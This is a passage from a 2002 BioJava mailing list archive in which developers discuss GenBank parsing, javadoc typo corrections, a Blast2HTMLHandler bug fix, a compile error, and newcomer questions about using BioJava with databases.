genbank file and then write it I just get the Accession tag the features
(but no Feature tag) and the sequence. Looking at the GenbankFileFormer,
it looks like this is all it can handle. What's up?
CODE snippet
SequenceIterator sI = SeqIOTools.readGenbank(gbbr);
Sequence seq = sI.nextSequence();
PrintStream ps = new PrintStream(os);
sf = new GenbankFormat();
sf.writeSequence(seq,ps);
Output file looks like
ACCESSION AL138845
source 1..121558
/chromosome="1"
/clone="RP4-781A20"
/clone_lib="RPCI-4"
/db_xref="taxon:9606"
/map="p32.1-32.3"
/organism="Homo sapiens"
misc_feature 1..4804
/note="assembly_fragment:00708fragment_chain:1clone_end:SP6
vector_side:left"
misc_feature 4905..16118
/note="assembly_fragment:00650fragment_chain:1"
..... then the sequence
Input file looked like .....
LOCUS AL138845 121558 bp DNA linear HTG
21-DEC-2001
DEFINITION Homo sapiens chromosome 1 clone RP4-781A20 map p32.1-32.3, ***
SEQUENCING IN PROGRESS ***, 17 unordered pieces.
ACCESSION AL138845
VERSION AL138845.7 GI:12539482
KEYWORDS HTG HTGS_PHASE1.
SOURCE Homo sapiens.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata;
Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Hominidae; Homo.
REFERENCE 1 (bases 0 to 0)
AUTHORS Plumb,B.
TITLE Direct Submission
JOURNAL Submitted (11-DEC-2001) Wellcome Trust Sanger Institute,
Hinxton,Cambridgeshire, CB10 1SA, UK. E-mail enquiries:
humquery@sanger.ac.uk Clone requests: clonerequest@sanger.ac.uk
COMMENT On Jan 25, 2001 this sequence version replaced gi:9796256.
.........................
_______________________________________________
Biojava-l mailing list - Biojava-l@biojava.org
http://biojava.org/mailman/listinfo/biojava-l
From tony_watkins@ntlworld.com Wed Feb 13 22:21:14 2002
From: tony_watkins@ntlworld.com (Tony Watkins)
Date: Wed, 13 Feb 2002 22:21:14 +0000
Subject: [Biojava-l] What your "Gram mar" hoped she'd wrote
Message-ID: <5.1.0.14.0.20020213205440.00a2bec0@pop.ntlworld.com>
Hi again .....
Maybe I should have grabbed the whole doc tree and gone through it once
instead of piecemeal?
(Warning - this email has been filtered through a bottle of shiraz
cabernet! It's red and alcoholic and highly recommended for those
pretending to be civilized. Ahem)
Here we go again ...
(When was 1.2 due out?)
Package org.biojava.bio
Interface Annotatable
(original)
Inidcates that an object has an associated annotation.
(suggested correction)
Indicates that an object has an associated annotation.
Class SimpleAnnotation
method asMap
(original)
Retern a map that contains the same key/values as this Annotation
(suggested correction)
*Return* a map that contains the same key/values as this Annotation
Class SmallAnnotation
methos asMap
(original)
Retern a map that contains the same key/values as this Annotation
(suggested correction)
*Return* a map that contains the same key/values as this Annotation
package org.biojava.bio.dist
Interface Count
method increaseCount
(original)
Set the probability or odds that Symbol s is emited by this state.
(suggested correction)
Set the probability or odds that Symbol s is *emitted* by this state.
Interface Distribution
(original)
A distribution can be implemented as a map from symbol to probability. It
is more correct to think of them as being integrals or sums over
probability dencity funcitons. In this world view, getWeight should look at
the getMatches of the symbol it is given and then perform the apropreate
sum or integral to return the probability of something within that set of
symbols being emitted.
This interface should handle the case of emitting an ambiguity symbol. This
should be just the sum of the probabiltiy of emitting each matching symbol.
It is up to the code using the Distribution instance to divide out the null
model appropreately
(suggested correction)
... It is more correct to think of them as being integrals or sums over
probability *density functions*. In this world view, getWeight should look
at the getMatches of the symbol it is given and then perform the
*appropriate* sum or integral to return the probability of something within
that set of symbols being emitted.
... This should be just the sum of the *probability* of emitting each
matching symbol. It is up to the code using the Distribution instance to
divide out the null model *appropriately*
method setWeight
(original)
Set the probability or odds that Symbol s is emited by this state
(suggested correction)
Set the probability or odds that Symbol s is *emitted* by this state
Interface DistributionTrainer
method getCount
(original)
This method may be called multiple times with the same symbol. Each time it
should return the agregate of the counts added with addCount since the last
invocation of clearCounts
(suggested correction)
... Each time it should return the *aggregate* of the counts added with
addCount since the last invocation of clearCounts
Interface DistributionTrainerContext
(original)
A context within a group of DistributionTrainers can be trained together
(suggested change)
A context within *which* a group of DistributionTrainers can be trained
Class AbstractDistribution
method removeChangeListener
(original)
Remove a listener that was interested in a specific types of changes
(suggested corrections)
Remove a listener that was interested in a specific *type* of *change*
method setNullModel
(throws ...)
(original)
if this Distirbution doesn't support setting the null model, or if one of
its listeners objects
(suggested correction)
if this *Distribution* doesn't support setting the null model, or if one of
its listeners objects
[Aarghhh - isn't English a horrible language? I object! {motion denied
says the judge}]
method getWeight
(original)
Performs the standard munge to handle ambiguity symbols. The actual weights
for each attomic symbol should be calculated by the getWeightImpl functions
(suggested correction - and please tell me I haven't totally lost the plot
and have fallen through the looking glass)
Performs the standard "munge" (help!!!!) to handle ambiguity symbols. The
actual weights for each *atomic* symbol should be calculated by the
getWeightImpl functions
Class GapDistribution
method removeChangeListener
(original)
Remove a listener that was interested in a specific types of changes.
(suggested correction)
Remove a listener that was interested in a specific *type* of *change*.
Class IgnoreCountsTrainer
method getCount
(original)
This method may be called multiple times with the same symbol. Each time it
should return the agregate of the counts added with addCount since the last
invocation of clearCounts.
(suggested correction)
... Each time it should return the *aggregate* of the counts ..
Class IndexedCount
method removeChangeListener
(original)
Remove a listener that was interested in a specific types of changes
(suggested corrections)
Remove a listener that was interested in a specific *type* of *change*
method increaseCount
(original)
Set the probability or odds that Symbol s is emited by this state.
(suggested correction)
Set the probability or odds that Symbol s is *emitted* by this state.
Class PairDistribution
method getWeight
(original)
Return the probability that Symbol s is emited by this spectrum.
If the symbol is ambiguou, then it is the sum of the probability that each
one of the matching symbols was emitted.
(suggested correction)
Return the probability that Symbol s is *emitted* by this spectrum.
If the symbol is *ambiguous*, then it is the sum of the probability that
each one of the matching symbols was emitted.
method setWeight
(original)
Set the probability or odds that Symbol s is emited by this state.
(suggested correction)
Set the probability or odds that Symbol s is *emitted* by this state.
Class SimpleDistributionTrainer
(original)
This requires the distribuiton being trained to have a working setWeight
method that doesn't throw an UnsupportedOperationExcepiton
(suggested corrections)
This requires the *distribution* being trained to have a working setWeight
method that doesn't throw an *UnsupportedOperationException*
method getCount
(original)
This method may be called multiple times with the same symbol. Each time it
should return the agregate of the counts added with addCount since the last
invocation of clearCounts
(suggested correction)
... Each time it should return the *aggregate* of the counts added with
addCount since the last invocation of clearCounts
Class TranslatedDistribution
method removeChangeListener
(original)
Remove a listener that was interested in a specific types of changes
(suggested corrections)
Remove a listener that was interested in a specific *type* of *change*
method getWeight
(original)
Return the probability that Symbol s is emited by this spectrum.
If the symbol is ambiguou, then it is the sum of the probability that each
one of the matching symbols was emitted
(suggested corrections)
Return the probability that Symbol s is *emitted* by this spectrum.
If the symbol is *ambiguous*, then it is the sum of the probability that
each one of the matching symbols was emitted
method setWeight
(original)
Set the probability or odds that Symbol s is emited by this state
(suggested correction)
Set the probability or odds that Symbol s is *emitted* by this state
method setNullModel
(throws ...)
(original)
if this Distirbution doesn't support setting the null model, or if one of
its listeners objects
(suggested correction)
if this *Distribution* doesn't support setting the null model, or if one of
its listeners objects
Time to stop before I filter through several bottles of 1664 too.
8-)
Cheers
From smh1008@cus.cam.ac.uk Wed Feb 13 22:33:36 2002
From: smh1008@cus.cam.ac.uk (David Huen)
Date: Wed, 13 Feb 2002 22:33:36 +0000 (GMT)
Subject: [Biojava-l] What your "Gram mar" hoped she'd wrote
In-Reply-To: <5.1.0.14.0.20020213205440.00a2bec0@pop.ntlworld.com>
Message-ID: <Pine.SOL.3.96.1020213222941.8166G-100000@libra.cus.cam.ac.uk>
On Wed, 13 Feb 2002, Tony Watkins wrote:
>
> (Warning - this email has been filtered through a bottle of shiraz
> cabernet! It's red and alcoholic and highly recommended for those
> pretending to be civilized. Ahem)
>
> Here we go again ...
>
> (When was 1.2 due out?)
>
Too late, it was released this morning and are likely to be drinking some
of the above stuff on Friday (if in Cambridge on Friday, do drop in at
Osborne Arms - your email address is probably UK).
I'll do the changes listed by you in trunk if someone else doesn't deal
with them first.
David Huen
From David Huen <smh1008@cus.cam.ac.uk> Wed Feb 13 23:19:28 2002
From: David Huen <smh1008@cus.cam.ac.uk> (David Huen)
Date: Wed, 13 Feb 2002 23:19:28 +0000 (GMT)
Subject: [Biojava-l] latest cvs update doesn't compile
Message-ID: <Pine.SOL.3.96.1020213223600.8166H-100000@libra.cus.cam.ac.uk>
There appears to be a problem with the bleeding edge cvs version:-
[javac]
/usr/local/biocvs/biojava-live/ant-build/src/main/org/biojava/bio/program/tagvalue/GenbankPirFormatParser.java:13:
org.biojava.bio.program.tagvalue.GenbankPirFormatParser should be declared
abstract; it does not define parse(java.lang.Object) in
org.biojava.bio.program.tagvalue.GenbankPirFormatParser
[javac] public class GenbankPirFormatParser
[javac] ^
[javac]
/usr/local/biocvs/biojava-live/ant-build/src/main/org/biojava/bio/program/tagvalue/GenbankPirFormatParser.java:24:
cannot resolve symbol
[javac] symbol : method startRecord ()
[javac] location: interface
org.biojava.bio.program.tagvalue.TagValueListener
[javac] tvListener.startRecord();
[javac] ^
[javac]
/usr/local/biocvs/biojava-live/ant-build/src/main/org/biojava/bio/program/tagvalue/GenbankPirFormatParser.java:50:
cannot resolve symbol
[javac] symbol : method endRecord ()
[javac] location: interface
org.biojava.bio.program.tagvalue.TagValueListener
[javac] tvListener.endRecord();
[javac] ^
[javac]
/usr/local/biocvs/biojava-live/ant-build/src/main/org/biojava/bio/program/tagvalue/GenbankPirFormatParser.java:63:
cannot resolve symbol
[javac] symbol : method tagValue (java.lang.String,java.lang.String)
[javac] location: interface
org.biojava.bio.program.tagvalue.TagValueListener
[javac] tvListener.tagValue(tag, value);
[javac] ^
[javac] Note: Some input files use or override a deprecated API.
[javac] Note: Recompile with -deprecation for details.
[javac] 4 errors
Anyone know about this one?
Regards,
David Huen
From td2@sanger.ac.uk Thu Feb 14 11:03:32 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Thu, 14 Feb 2002 11:03:32 +0000
Subject: [Biojava-l] What your "Gram mar" hoped she'd wrote
In-Reply-To: <5.1.0.14.0.20020213205440.00a2bec0@pop.ntlworld.com>; from tony_watkins@ntlworld.com on Wed, Feb 13, 2002 at 10:21:14PM +0000
References: <5.1.0.14.0.20020213205440.00a2bec0@pop.ntlworld.com>
Message-ID: <20020214110332.A27992@jabba.sanger.ac.uk>
On Wed, Feb 13, 2002 at 10:21:14PM +0000, Tony Watkins wrote:
>
> (Warning - this email has been filtered through a bottle of shiraz
> cabernet! It's red and alcoholic and highly recommended for those
> pretending to be civilized. Ahem)
Thanks for all your work on this. With or without alcohol,
it's great!
> Here we go again ...
>
> (When was 1.2 due out?)
The 1.20 release is actually out now. But fear not -- I'm
sure 1.21 isn't too far off. I'll make sure all your changed
get into that.
They're also being applied to the main trunk.
Thomas.
From tonyob@compuserve.com Thu Feb 14 19:47:23 2002
From: tonyob@compuserve.com (Tony Obermeit)
Date: Fri, 15 Feb 2002 05:47:23 +1000
Subject: [Biojava-l] Use of ClustalWAlignmentSAXParser
Message-ID: <5.1.0.14.0.20020215054414.02323420@pop.compuserve.com>
I'm investigating the use of ClustalWAlignmentSAXParser within biojava and
am working to understand the prerequisites for using it. Must clustalw be
installed on the system running biojava? Is there any more documentation
available on ClustalWAlignmentSAXParser? I searched the wiki docs and the
tutorial but didn't see anything.
Many thanks
Tony
From foote@nrcbsa.bio.nrc.ca Thu Feb 14 19:44:02 2002
From: foote@nrcbsa.bio.nrc.ca (Simon Foote)
Date: Thu, 14 Feb 2002 14:44:02 -0500
Subject: [Biojava-l] Blast2HTMLHandler.java bug
Message-ID: <3C6C1382.9010209@nrcbsa.bio.nrc.ca>
Hi Simon,
I've found a bug in the Blast2HTMLHandler code. In the hit summary
section that it produces, the score and expect values are shifted by 1
result. Thus, the first hit has the score & expect from the 2nd and so on.
I fixed it as follows (not sure if this is correct way, but it seems to
work):
- removed the else part of the if statement at lines 173-178: (in
startElement method)
} else {
oRenderer.writeCurrentSummary( oHitSummary );
}
- added to endElement method above line 273:
} else if ( poElementName.equals( "HitSummary" ) ) {
oRenderer.writeCurrentSummary( oHitSummary );
Regards,
Simon Foote
--
Bioinformatics Specialist
Institute for Biological Sciences
National Research Council of Canada
[T] 613-991-4342 [F] 613-952-9092
From tony_watkins@ntlworld.com Fri Feb 15 00:04:29 2002
From: tony_watkins@ntlworld.com (Tony Watkins)
Date: Fri, 15 Feb 2002 00:04:29 +0000
Subject: [Biojava-l] Typos - the saga continues
Message-ID: <5.1.0.14.0.20020214231459.009f9da0@pop.ntlworld.com>
--=====================_10915464==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed
More for the trunk .....
Package org.biojava.bio.search
Interface SeqSimilaritySearcher
method search
(original)
db - the sequence database against which the similarity search will be
performed. May not be null otherwise an IllegalArgumentException is thrown.
Must also be an element of the set of searchable dbs returnes by
getSearchableDBs().
(suggested correction)
... Must also be an element of the set of searchable dbs *returned* by
getSearchableDBs().
Interface SeqSimilaritySearchHit
Method getSubHits
(original)
a List of SeqSimilaritySearchSubHit objects containing all sub-hits for
this hit. Never returns null and the List is guaranteed to contain at least
1 entry
(suggested change)
... Never returns null and the List is guaranteed to contain at least *one*
entry
Interface SeqSimilaritySearchSubHit
method getScore
(original)
the score of this sub-hit. This is a mandatory piece of information and may
hence not be NaN
(suggested change)
.... This is a mandatory piece of information and *hence may* not be NaN
Class SequenceDBSearchHit
Constructor detail SequenceDBSearchHit
(original)
sStrand - the strand of the sub-hits on the subject sequence, which may be
null for protein similarities. If they are no all positive or all negative,
then this should be the unknown strand
(suggested correction for non Scottish readers)
... If they are *not* all positive or all negative, then this should be the
unknown strand
method getScore
(original)
the overall score of this hit. This is a mandatory piece of information and
may hence not be NaN
(suggested change)
.... This is a mandatory piece of information and *hence may* not be NaN
Class SequenceDBSearchSubHit
method getScore
(original)
the score of this sub-hit. This is a mandatory piece of information and may
hence not be NaN.
(suggested change)
the score of this sub-hit. This is a mandatory piece of information and
*hence may* not be NaN.
Class SimpleSeqSimilaritySearchHit
Constructor detail
(original)
qStrand - the strand of the sub-hits on the query sequence, which may be
null for protein similarities. If they are no all positive or all negative,
then this should be the unknown strand.
(suggested correction)
... If they are *not* all positive or all negative, then this should be the
unknown strand.
(ditto for sStrand)
(also for score the suggested change in word ordering for *hence may*)
method getSubHits
(original)
a List of SeqSimilaritySearchSubHit objects containing all sub-hits for
this hit. Never returns null and the List is guaranteed to contain at least
1 entry
(suggested change)
... Never returns null and the List is guaranteed to contain at least *one*
entry
Class SimpleSeqSimilaritySearchResult
(Constructor detail)
(original)
sequenceDB - the sequence database against the search that produced this
results was done, which may not be null
(suggested change)
sequenceDB - the sequence database against *which* the search that produced
this *result* was done, which may not be null
method getQuerySequence
(original)
Return the sequence with which the search that produced this search result
was performed
(suggested changes which may prove too simplistic)
Return the *original query sequence used to produce this search result*
method getSequenceDB
(original)
Return the sequence database against which the search that produced this
search result was performed
(suggested change - ditto on above comment, and I'm not 100% happy with the
suggestion)
Return the sequence database *queried for this search result*
Class SimpleSeqSimilaritySearchSubHit
method getScore
(original)
the score of this sub-hit. This is a mandatory piece of information and may
hence not be NaN
(suggested re-ordering)
the score of this sub-hit. This is a mandatory piece of information and
hence may not be NaN
That's all folks....
--=====================_10915464==_.ALT
Content-Type: text/html; charset="us-ascii"
<html>
More for the trunk .....<br><br>
Package org.biojava.bio.search<br><br>
Interface SeqSimilaritySearcher<br><br>
method search<br><br>
(original)<br>
db - the sequence database against which the similarity search will be
performed. May not be null otherwise an IllegalArgumentException is
thrown. Must also be an element of the set of searchable dbs returnes by
getSearchableDBs().<br><br>
(suggested correction)<br>
... Must also be an element of the set of searchable dbs *returned* by
getSearchableDBs().<br><br>
Interface SeqSimilaritySearchHit<br><br>
Method getSubHits<br><br>
(original)<br>
a List of SeqSimilaritySearchSubHit objects containing all sub-hits for
this hit. Never returns null and the List is guaranteed to contain at
least 1 entry<br><br>
(suggested change)<br>
... Never returns null and the List is guaranteed to contain at least
*one* entry<br><br>
Interface SeqSimilaritySearchSubHit<br><br>
method getScore<br><br>
(original)<br>
the score of this sub-hit. This is a mandatory piece of information and
may hence not be NaN<br><br>
(suggested change)<br>
.... This is a mandatory piece of information and *hence may* not be
NaN<br><br>
Class SequenceDBSearchHit<br><br>
Constructor detail SequenceDBSearchHit<br><br>
(original)<br>
<font face="Courier New, Courier">sStrand - </font>the strand of the
sub-hits on the subject sequence, which may be null for protein
similarities. If they are no all positive or all negative, then this
should be the unknown strand<br><br>
(suggested correction for non Scottish readers)<br>
... If they are *not* all positive or all negative, then this should be
the unknown strand <br><br>
method getScore<br><br>
(original)<br>
the overall score of this hit. This is a mandatory piece of information
and may hence not be NaN<br><br>
(suggested change)<br>
.... This is a mandatory piece of information and *hence may* not
be NaN<br><br>
Class SequenceDBSearchSubHit<br><br>
method getScore<br><br>
(original)<br>
the score of this sub-hit. This is a mandatory piece of information and
may hence not be NaN.<br><br>
(suggested change)<br>
the score of this sub-hit. This is a mandatory piece of information and
*hence may* not be NaN.<br><br>
Class SimpleSeqSimilaritySearchHit<br><br>
Constructor detail<br><br>
(original)<br>
<font face="Courier New, Courier">qStrand - </font>the strand of the
sub-hits on the query sequence, which may be null for protein
similarities. If they are no all positive or all negative, then this
should be the unknown strand.<br><br>
(suggested correction)<br>
... If they are *not* all positive or all negative, then this should be
the unknown strand.<br><br>
(ditto for <font face="Courier New, Courier">sStrand</font>)<br><br>
(also for <font face="Courier New, Courier">score </font>the suggested
change in word ordering for *hence may*)<br><br>
method getSubHits<br><br>
(original)<br>
a List of SeqSimilaritySearchSubHit objects containing all sub-hits for
this hit. Never returns null and the List is guaranteed to contain at
least 1 entry<br><br>
(suggested change)<br>
... Never returns null and the List is guaranteed to contain at least
*one* entry<br><br>
Class SimpleSeqSimilaritySearchResult<br><br>
(Constructor detail)<br><br>
(original)<br>
<font face="Courier New, Courier">sequenceDB - </font>the sequence
database against the search that produced this results was done, which
may not be null<br><br>
(suggested change)<br><br>
<font face="Courier New, Courier">sequenceDB - </font>the sequence
database against *which* the search that produced this *result* was done,
which may not be null<br><br>
method getQuerySequence<br><br>
(original)<br>
Return the sequence with which the search that produced this search
result was performed<br><br>
(suggested changes which may prove too simplistic)<br>
Return the *original query sequence used to produce this search
result*<br><br>
method getSequenceDB<br><br>
(original)<br>
Return the sequence database against which the search that produced this
search result was performed<br><br>
(suggested change - ditto on above comment, and I'm not 100% happy with
the suggestion)<br>
Return the sequence database *queried for this search result*<br><br>
Class SimpleSeqSimilaritySearchSubHit<br><br>
method getScore<br><br>
(original)<br>
the score of this sub-hit. This is a mandatory piece of information and
may hence not be NaN<br><br>
(suggested re-ordering)<br>
the score of this sub-hit. This is a mandatory piece of information and
hence may not be NaN<br><br>
That's all folks....<br>
</html>
--=====================_10915464==_.ALT--
From russell.smithies@xtra.co.nz Fri Feb 15 05:29:54 2002
From: russell.smithies@xtra.co.nz (Russell Smithies)
Date: Fri, 15 Feb 2002 18:29:54 +1300
Subject: [Biojava-l] munge???
In-Reply-To: <200202141702.g1EH2YkO003385@pw600a.bioperl.org>
Message-ID: <IAEKJMFAFHONGCDMGNANIEFICAAA.russell.smithies@xtra.co.nz>
> Performs the standard "munge" (help!!!!) to handle ambiguity symbols. The
> actual weights for each *atomic* symbol should be calculated by the
> getWeightImpl functions
>
Looks like a perfectly valid example of munging to me :-)
munge /muhnj/ vt.
1. [derogatory] To imperfectly transform information.
2. A comprehensive rewrite of a routine, data structure or the whole
program.
3. To modify data in some way the speaker doesn't need to go into right now
or cannot describe succinctly A comprehensive rewrite of a routine, data
structure or the whole program.
Instead of nit-picking, why doesn't someone use their time a little more
usefully and write a spell/grammer check for JavaDoc?
Russell
From simon.brocklehurst@CambridgeAntibody.com Fri Feb 15 09:36:35 2002
From: simon.brocklehurst@CambridgeAntibody.com (Simon Brocklehurst)
Date: Fri, 15 Feb 2002 09:36:35 +0000
Subject: [Biojava-l] Blast2HTMLHandler.java bug
References: <3C6C1382.9010209@nrcbsa.bio.nrc.ca>
Message-ID: <3C6CD6A3.6BD81AD8@CambridgeAntibody.com>
Simon Foote wrote:
> Hi Simon,
>
> I've found a bug in the Blast2HTMLHandler code.
You're right ;-) Serves us right for putting code in at the last minute. Not
quite sure if your fix is right or not, we're checking it out. In any case,
expect this to be fixed ASAP.
Simon
--
Simon M. Brocklehurst, Ph.D.
Head of Bioinformatics & Advanced IS
Cambridge Antibody Technology
The Science Park, Melbourn, Cambridgeshire, UK
http://www.CambridgeAntibody.com/
mailto:simon.brocklehurst@CambridgeAntibody.com
From kdj@sanger.ac.uk Fri Feb 15 10:08:41 2002
From: kdj@sanger.ac.uk (Keith James)
Date: 15 Feb 2002 10:08:41 +0000
Subject: [Biojava-l] Typos - the saga continues
In-Reply-To: <5.1.0.14.0.20020214231459.009f9da0@pop.ntlworld.com>
References: <5.1.0.14.0.20020214231459.009f9da0@pop.ntlworld.com>
Message-ID: <sc4eljnawgm.fsf@fes1.sanger.ac.uk>
Fixed on head and 1.2 branch.
--
-= Keith James - kdj@sanger.ac.uk - http://www.sanger.ac.uk/Users/kdj =-
Pathogen Sequencing Unit, Wellcome Trust Sanger Institute, Cambridge, UK
From colin.hardman@cambridgeAntibody.com Fri Feb 15 10:39:29 2002
From: colin.hardman@cambridgeAntibody.com (Colin Hardman)
Date: Fri, 15 Feb 2002 10:39:29 +0000
Subject: [Biojava-l] Blast2HTMLHandler.java bug
References: <3C6C1382.9010209@nrcbsa.bio.nrc.ca>
Message-ID: <3C6CE561.3AF363CC@cambridgeAntibody.com>
Hi Simon,
Your fix is correct with the addition that you also need to remove the line
272
in the Summary endElement code else the last item will be duplicated.
} else if ( poElementName.equals( "Summary" ) ) {
oRenderer.writeCurrentSummary( oHitSummary ) ;
oRenderer.endSummaryTable();
}
becomes
} else if ( poElementName.equals( "Summary" ) ) {
oRenderer.endSummaryTable();
}
I've made the changes in biojava-live.
Thanks,
Colin
Simon Foote wrote:
> Hi Simon,
>
> I've found a bug in the Blast2HTMLHandler code. In the hit summary
> section that it produces, the score and expect values are shifted by 1
> result. Thus, the first hit has the score & expect from the 2nd and so on.
>
> I fixed it as follows (not sure if this is correct way, but it seems to
> work):
>
> - removed the else part of the if statement at lines 173-178: (in
> startElement method)
> } else {
> oRenderer.writeCurrentSummary( oHitSummary );
> }
> - added to endElement method above line 273:
> } else if ( poElementName.equals( "HitSummary" ) ) {
> oRenderer.writeCurrentSummary( oHitSummary );
>
> Regards,
> Simon Foote
>
From Kalle.Naslund@genpat.uu.se Fri Feb 15 09:38:43 2002
From: Kalle.Naslund@genpat.uu.se (Kalle =?ISO-8859-1?Q?N=E4slund?=)
Date: Fri, 15 Feb 2002 10:38:43 +0100
Subject: [Biojava-l] Feature interface changes
References: <3C6A9671.5080405@yahoo.co.uk>
Message-ID: <3C6CD723.2030803@genpat.uu.se>
Matthew Pocock wrote:
> Hi all.
>
> Since the 1.2 release is out, we can now start to think about some of
> the issues we have had with the current APIs. These changes would
> never be back-ported onto the release branch. We are commited to
> keeping the release branch APIs stable.
>
> I think the Feature interface may be up for renewal. Here is my
> wish-list.
>
> idea:
> - make the core properties of Feature and its sub-interfaces
> mutable
> consequences:
> - get/set methods for things like location
This is a something i would find very usefull.
<LOTS of text removed>
I know to little about the biojava api to have any constructive ideas
about what is good or bad.
>
> All ideas, flames and dirty jokes greatfully recieved.
>
> Matthew
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
From nagendra b" <npbarla@rediffmail.com Fri Feb 15 11:46:11 2002
From: nagendra b" <npbarla@rediffmail.com (nagendra b)
Date: 15 Feb 2002 11:46:11 -0000
Subject: [Biojava-l] Please Clarify me regarding Bio-Java
Message-ID: <20020215114611.22719.qmail@mailweb32.rediffmail.com>
Respected Sir/Madam,
I Nagendra working as Project Leader for well eastablished Software organization on Java Platform kindly request you to clarify me few doubts regarding bio-java.
1.Is it necssary to hava a prior knowledge in Bio-Informatics to learn Bio-Java?
2. Can people working in Java without any knowledge of Bio-informatics work with Bio-Java?
3. What is necesssary for Java experts to get acquintted
with Bio-Java?
Thank you for prompt action.
Regards
Nagendra
From td2@sanger.ac.uk Fri Feb 15 13:42:57 2002
From: td2@sanger.ac.uk (Thomas Down)
Date: Fri, 15 Feb 2002 13:42:57 +0000
Subject: [Biojava-l] Please Clarify me regarding Bio-Java
In-Reply-To: <20020215114611.22719.qmail@mailweb32.rediffmail.com>; from npbarla@rediffmail.com on Fri, Feb 15, 2002 at 11:46:11AM -0000
References: <20020215114611.22719.qmail@mailweb32.rediffmail.com>
Message-ID: <20020215134257.E1153@jabba.sanger.ac.uk>
Hello, and thanks for your interest,
On Fri, Feb 15, 2002 at 11:46:11AM -0000, nagendra b wrote:
>
> I Nagendra working as Project Leader for well eastablished Software organization on Java Platform kindly request you to clarify me few doubts regarding bio-java.
>
> 1.Is it necssary to hava a prior knowledge in Bio-Informatics to learn Bio-Java?
> 2. Can people working in Java without any knowledge of Bio-informatics work with Bio-Java?
This depends very much on what you're hoping to acheive with BioJava.
At the core of the package are Java interfaces for viewing, editing,
and manipulating sequence data. Very little of this code is actually
dedicated to bioinformatics problems, although obviously that is
it's usual application.
The package also contains parsers for file formats and program
output which are more specific to bioinformatics. But you'd
only want to use those to solve specific problems.
> 3. What is necesssary for Java experts to get acquintted
> with Bio-Java?
There's a certain amount of tutorial documentation on our website
at:
http://www.biojava.org/tutorials/index.html
These should help you get started. You might want to read
the first few chapters of a molecular biology textbook, too.
Or try some web searches. For instance, knowing a little
about the structure of DNA is helpful when working with
DNA sequences:
http://www.biology.arizona.edu/biochemistry/activities/DNA/10t.html
If you're having any trouble, you could try writing to
me or (if it's a BioJava-specific problem) to the mailing
list.
Hope this helps,
Thomas.
PS. There is a BioJava training workshop in Cambridge, UK,
from 18th to 22nd March, which you might find interesting:
http://industry.ebi.ac.uk/projects/Events/biojava2002/biojava2002.html
From matthew_pocock@yahoo.co.uk Sat Feb 16 15:17:15 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Sat, 16 Feb 2002 15:17:15 +0000
Subject: [Biojava-l] munge???
References: <IAEKJMFAFHONGCDMGNANIEFICAAA.russell.smithies@xtra.co.nz>
Message-ID: <3C6E77FB.5000605@yahoo.co.uk>
>
> Instead of nit-picking, why doesn't someone use their time a little more
> usefully and write a spell/grammer check for JavaDoc?
>
> Russell
If only all Java code & docs were writtein in xml - then we could
spellcheck & grammer check & syntax check in a nicely context dependant
manner.
Untill this happens, IMHO, people like Tony do an invaluable job in
helping with the documentation.
Matthew
_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com
From gabrielcaus@yahoo.com Mon Feb 18 05:04:14 2002
From: gabrielcaus@yahoo.com (Gabriel lu)
Date: Sun, 17 Feb 2002 21:04:14 -0800 (PST)
Subject: [Biojava-l] (no subject)
Message-ID: <20020218050414.37435.qmail@web21303.mail.yahoo.com>
I am wondering whether there is an open source for
retrieving data from public sequence banks (such as
GenBank) and storing the data into a relational
database such as an Ms Access. If any, can the binary
query such as human and Golgi and proteins be
accepted? If none, I am interested in the development
of such a program. But I am new to biojava. Could you
please make some suggestion for me to start? Any idea
concerning this will be appropriated.
Gab
__________________________________________________
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From smh1008@cus.cam.ac.uk Mon Feb 18 08:43:15 2002
From: smh1008@cus.cam.ac.uk (David Huen)
Date: Mon, 18 Feb 2002 08:43:15 +0000 (GMT)
Subject: [Biojava-l] (no subject)
In-Reply-To: <20020218050414.37435.qmail@web21303.mail.yahoo.com>
Message-ID: <Pine.SOL.3.96.1020218083408.17019A-100000@virgo.cus.cam.ac.uk>
On Sun, 17 Feb 2002, Gabriel lu wrote:
> I am wondering whether there is an open source for
> retrieving data from public sequence banks (such as
> GenBank) and storing the data into a relational
> database such as an Ms Access. If any, can the binary
> query such as human and Golgi and proteins be
> accepted? If none, I am interested in the development
We don't have software as such to do the task exactly as you describe but
we do have components with which you could construct such a program.
For example, we do have file format readers of various formats that you
could use to read in the release you have downloaded. In BioSQL you would
have a schema and some basic methods to set up a database (though not
Access specifically - it is more likely to be mySQL, Postgres and poosibly
Oracle. It is not difficult to extend it to other SQL databases.).
> of such a program. But I am new to biojava. Could you
> please make some suggestion for me to start? Any idea
> concerning this will be appropriated.
>
If you already know SQL, I would suggest familiarising yourself with the
sequence model in BioJava and also with the SeqIO parts. I haven't used
BioSQL myself yet but I should expect it will be very nice indeed when the
developers are through with it.
You could also attend the bootcamp at the EBI next month if you want a
quick start. I found this route much less effort myself.
Regards,
David Huen
From tonyob@compuserve.com Mon Feb 18 11:49:48 2002
From: tonyob@compuserve.com (Tony Obermeit)
Date: Mon, 18 Feb 2002 21:49:48 +1000
Subject: [Biojava-l] Creating FASTA file from database query
Message-ID: <5.1.0.14.0.20020218214754.00aa8528@pop.compuserve.com>
Quick question, any example classes that read sequence data from a database
query (Not expecting this query to use BioSQL, just selects sequence data
and name of sequence data from relational database using sql, and creates a
fasta file from it. Anything that does close to that would be appreciated.
cheers
Tony
From matthew_pocock@yahoo.co.uk Mon Feb 18 11:47:06 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Mon, 18 Feb 2002 11:47:06 +0000
Subject: [Biojava-l] (no subject)
References: <Pine.SOL.3.96.1020218083408.17019A-100000@virgo.cus.cam.ac.uk>
Message-ID: <3C70E9BA.90709@yahoo.co.uk>
Hi Gabriel,
Just to re-iterator what David said, you can use the Genbank parser in
the org.biojava.bio.seq.io package to parse Genbank entries, and then
you can upload the sequences it produces into a relational database
using our BioSQL client in the org.biojava.bio.seq.db.biosql package.
You will need to find a jdbc driver for Ms Access, or a jdbc ODBC driver
if you have configured Access to use ODBC.
The biosql client does not currently do a very good job of writing all
